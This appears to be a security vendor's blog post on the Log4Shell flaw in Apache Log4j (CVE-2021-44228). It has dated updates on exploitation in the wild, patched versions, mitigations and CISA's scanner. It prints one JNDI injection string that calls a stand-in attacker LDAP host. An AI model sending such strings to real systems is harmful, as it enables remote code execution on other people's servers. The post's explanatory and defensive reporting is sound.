[Update: CISA issues Log4j vulnerabilities scanner] Log4j zero-day “Log4Shell” arrives just in time to ruin your weekend

If you’re running a service that relies on Apache Struts or uses the popular Apache Log4j utility we hope you haven’t made plans for the weekend.

An exploit listed as CVE-2021-44228 was made public on December 9, 2021. The exploit is simple, easy to trigger, and can be used to perform remote code execution (RCE) in vulnerable systems, which could allow an attacker to gain full control of them. All an attacker has to do is get the affected app to log a special string. For that reason, researchers have dubbed the vulnerability “Log4Shell”.

The vulnerability has a CVSS score of 10.0 out of a possible 10. It impacts Apache Log4j versions 2.0-beta9 to 2.14.1. Mitigations are available for version 2.10 and higher.

Log4j is an open source logging library written in Java that was developed by the Apache Software Foundation. Millions of applications use it, and some of them are enormously popular—such as iCloud, Steam, and Minecraft—so the potential reach of this problem is enormous.

How it works (simplified)

A logger is a piece of software that keeps a record of what’s happed on some part of a computer system. Logs can be used to determine if software is running smoothly, or to investigate events leading up to an error if something goes wrong. Generally speaking, IT and security folks want to log as much as they can.

As is the case for many loggers, Log4j also performs some basic operations to make the output easier to understand for us mere humans. One of these operations is variable substitution, which look for patterns like ${something}, and replaces them with other pieces of information.

This vulnerability lies in the replacement of the string ${jndi: This pattern triggers the Java Naming and Directory Interface, which can load Java resources from another computer, anywhere on the Internet.

Unfortunately, lots of applications log data that comes from their users without first sanitising it, and it’s possible for attackers to sneak variable substitution patterns into logs by including them in things like HTTP headers, or input fields.

The vulnerability is triggered with a simple string, sent to a vulnerable server:

${jndi:ldap://example.com/a}

When the vulnerable application logs the string it triggers a lookup to an attacker-controlled remote LDAP server (example.com in our scenario). The response from the malicious server contains a path to a remote Java class file that’s injected into the server process.

Having tricked the vulnerable application into loading their Java class, attackers can use it to execute commands with the same level of privilege as the application that uses the logging library.

Used in the wild

After the 0-day was posted on Twitter, along with a proof-of-concept that was published on GitHub, the exploit has already been spotted being used in the wild by CERT New Zealand, CERT Austria, and CERT Germany. Along with many others, they are seeing automated systems trying to exploit the vulnerability.

Given how common this library is and how serious the consequences of a relatively easy-to-exploit vulnerability can be, this is a recipe for disaster. Many organizations will not even realize they are vulnerable.

According to researcher Marcus Hutchins, in the case of Minecraft, attackers were able to get remote code execution on Minecraft servers by simply pasting the malicious string into the chat box. Similar examples exist for a number of other popular services.

Preventing Log4j exploits

Mitigations are available for versions of Log4j 2.10.0 and up. Version 2.15.0 is not vulnerable by default. Note that there may be other dependencies, such as your Java version, that need to be updated before you can upgrade. Fixing the vulnerability may not be straightforward, but it is urgent.

The Apache Log4j project advises that if you are unable to upgrade, for whatever reason, you can use the following mitigations:

• In version 2.10.0 or higher by switching the

  log4j2.formatMsgNoLookups

  system property, or the environment variable

  LOG4J_FORMAT_MSG_NO_LOOKUPS

  to

  true

  . This can be done by adding

  ‐Dlog4j2.formatMsgNoLookups=True

  to the JVM command for starting the application.
• For 2.7 up to and including 2.14.1, all 

  PatternLayout

   patterns can be modified to specify the message converter as 

  %m{nolookups}

   instead of just 

  %m

  .
• For r2.0-beta9 up to and including 2.10.0, remove the 

  JndiLookup

   class from the classpath: 

  zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  .

Sadly, there is little, if anything, that users of affected systems can do to make themselves less vulnerable to the consequences. No doubt many systems will be affected and system administrators will want to treat anomalies with extreme caution.

So, if you’re an administrator looking forward to a quiet weekend, you know what to do!

Update: Dec 13, 5:00 am, PT—Widespread scanning and exploitation

After close examination of this vulnerability, researchers found that it had been actively exploited prior to the public disclosure, going back as far as December 1. The mass exploitation however, started after the disclosure.

The majority of attacks so far seem to be coming from established botnets like Mirai and others, including some cryptomining botnets. But Microsoft warned that is has seen the some attacks that resulted in a drop of Cobalt Strike. Cobalt Strike is a collection of threat emulation tools provided by HelpSystems to work in conjunction with the Metasploit Framework. But cybercriminals are often using it as a backdoor that provides an ideal foothold to start lateral movement in a network.

Update: Dec 13, 7:00 am, PT—Fears of a Log4j worm

As the security community wrestles with the vast scale of the Log4j problem, fears are growing that it may be “wormable” and that an Internet worm could appear in the next few days. (A worm is a piece of malware that infects vulnerable systems and then uses them to find and infect other systems.)

Because their rate of replication is exponential, worms can spread extremely quickly. In 2003, the SQL Slammer worm spread around the world in about ten minutes, and in 2017 the WannaCry ransomware worm spread around the world in a matter of hours, before its kill switch was activated.

Update: Dec 14, 4:15 am, PT—Version 2.16.0 of Log4j released

The tireless (and let’s not forget—unpaid, volunteer) maintainers of Log4j have released version 2.16.0, which includes two changes. JDNI is now disabled by default, and support for message lookups has been removed completely.

The fix was necessary because it was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. In a statement, Ralph Goers of the Apache Software Foundation (ASF) said that JNDI has “significant security issues”. It would be safer, he said, for users to completely disable it by default, especially since the large majority are unlikely to be using it.

Although that seems a pretty definitive change, this remains a fast-moving situation. Both attackers and red teams are poring over the potential attack surface of Log4j and we recommend you stay up to date with the latest version, and be ready for further updates.

Update: Dec 16, 4:00 am, PT—US officials have ordered federal agencies to protect their systems by Christmas Eve

The Cybersecurity and Infrastructure Security Agency (CISA) set a 24 December deadline for security patches. To help organizations, CISA has created a webpage, Apache Log4j Vulnerability Guidance and will actively maintain a community-sourced GitHub repository of publicly available information and vendor-supplied advisories regarding the Log4j vulnerability. CISA says it will continually update both the webpage and the GitHub repository.

The urgency was emphasized by Microsoft, which has warned that multiple nation-state groups originating from China, Iran, North Korea, and Turkey are now using Log4Shell.

Update: Dec 18, 8:40 am, PT—Version 2.17.0 of Log4j released

The security community continues to explore the ways in which Log4j can be exploited, and the result is an updated version of the software, version 2.17.0. It was found that previous versions of Log4j can be fed patterns that are infinitely recursive, which results in denial of service. Support for the LDAP and LDAPS via JDNI has also been removed. More information is available in the release notes.

Update: Dec 23, 2:45 am, PT — CISA releases opensource Log4j vulnerability scanner

The Cybersecurity and Infrastructure Security Agency (CISA) has launched an open source scanner to find applications that are vulnerable to the log4j vulnerabilities listed as CVE-2021-44228 and CVE-2021-45046. The CISA Log4j scanner is based on other open source tools. There was no need to re-invent the wheel so they used existing tools and built new features to expand on existing scanners. The whole package was created and updated by CISA through collaboration with the broader cybersecurity

With these expansions the scanner supports scanning lists of URLs, several fuzzing options, DNS callback, and payloads to circumvent web-application firewalls. For example, where earlier tools used 3 or 4 HTTP headers for fuzzing, the CISA scanner supports over 60.

The Cybersecurity and Infrastructure Security Agency (CISA), along with the Federal Bureau of Investigation (FBI), National Security Agency (NSA), Australian Cyber Security Centre (ACSC), Canadian Centre for Cyber Security (CCCS), Computer Emergency Response Team New Zealand (CERT NZ), New Zealand National Cyber Security Centre (NZ NCSC), and the United Kingdom’s National Cyber Security Centre (NCSC-UK) issued a joint cybersecurity advisory with technical details, mitigations, and resources to address known vulnerabilities in the Apache Log4j software library. This advisory provides critical guidance that any organization using products with Log4j should immediately implement.

Stay safe, everyone!